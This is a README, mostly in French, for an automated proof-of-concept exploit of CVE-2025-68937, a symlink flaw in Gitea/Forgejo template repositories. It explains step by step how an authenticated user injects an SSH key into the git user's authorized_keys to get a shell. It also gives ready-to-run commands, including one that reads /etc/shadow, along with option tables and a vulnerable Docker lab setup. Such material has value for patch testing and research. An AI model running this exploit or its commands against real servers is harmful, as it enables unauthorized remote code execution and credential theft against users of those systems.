
Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.
Preuve de concept automatisée pour la CVE-2025-68937 : traversée de répertoire via déréférencement de liens symboliques dans le traitement des dépôts modèles de Gitea et Forgejo, conduisant à une exécution de code à distance.
Tout utilisateur authentifié (aucun privilège administrateur requis) peut obtenir un shell en tant qu'utilisateur système git.
Lors de la génération d'un nouveau dépôt à partir d'un modèle, Gitea/Forgejo copie les fichiers du modèle et développe des variables telles que ${REPO_DESCRIPTION} dans les fichiers listés dans .gitea/template. Ce processus suit les liens symboliques sans validation, ce qui permet à un attaquant de lire et d'écrire des fichiers arbitraires sur le serveur.
| Détail | Valeur |
|---|---|
| CVE | CVE-2025-68937 |
| CVSS 4.0 | 9.5 Critique |
| CWE | CWE-61 (UNIX Symbolic Link Following) |
| Authentification requise | Oui (tout utilisateur) |
| Administrateur requis | Non |
| Logiciel | Affectée | Corrigée |
|---|---|---|
| Gitea | >= 1.11.0-rc1, <= 1.24.6 | 1.24.7 |
| Forgejo | <= 11.0.6 | 11.0.7 |
| Forgejo | >= 12.0.0, <= 13.0.1 | 13.0.2 |
Gitea Server
+---------------------+
1. Register SSH | authorized_keys: |
key with | command="gitea |
${REPO_DESC} | serv..." ssh-ed... |
as comment | ${REPO_DESCRIPTION}|
+---------------------+
|
2. Template repo | symlink
authorized_keys --------->+ follows
-> /data/git/.ssh/ |
authorized_keys |
v
3. Create child +---------------------+
repo with | authorized_keys: |
attacker key | command="gitea |
in description | serv..." ssh-ed... |
| <attacker SSH key> | <-- injected!
+---------------------+
|
4. SSH as git $ ssh -i key git@host
(unrestricted) uid=0(git) ...
${REPO_DESCRIPTION}, une variable de modèle que Gitea développe.gitea/template listant authorized_keys pour le développement des variablesauthorized_keys pointant vers le vrai fichier authorized_keys de l'utilisateur gitauthorized_keys (qui contient notre clé enregistrée avec ${REPO_DESCRIPTION} dans le commentaire), remplace la variable par la description du dépôt enfant (notre clé SSH), puis réécrit le résultat à travers le lien symboliquegit avec la clé injectée (aucune restriction command=)pip install requests
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222
# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git
# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"
# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup
Lancez une instance vulnérable :
docker run -d --name gitea-vuln \
-p 3000:3000 -p 2222:22 \
-e USER_UID=1000 -e USER_GID=1000 \
gitea/gitea:1.24.6
http://localhost:3000, terminez l'assistant d'installation (SQLite fonctionne très bien)python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222
requestsgit et ssh-keygen dans le PATHCet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.
| Option | Défaut | Description |
|---|
-u, --url | requis | URL de base de Gitea/Forgejo |
-U, --user | requis | Nom d'utilisateur |
-P, --password | requis | Mot de passe |
--git-home | /data/git | Répertoire personnel de l'utilisateur git sur la cible |
--ssh-host | depuis --url | Hôte SSH auquel se connecter |
--ssh-port | 22 | Port SSH de Gitea |
--timeout | 30 | Secondes d'attente pour SSH |
--command | interactif | Commande à exécuter après l'obtention du shell |
--cleanup | - | Supprimer les artefacts de l'exploit |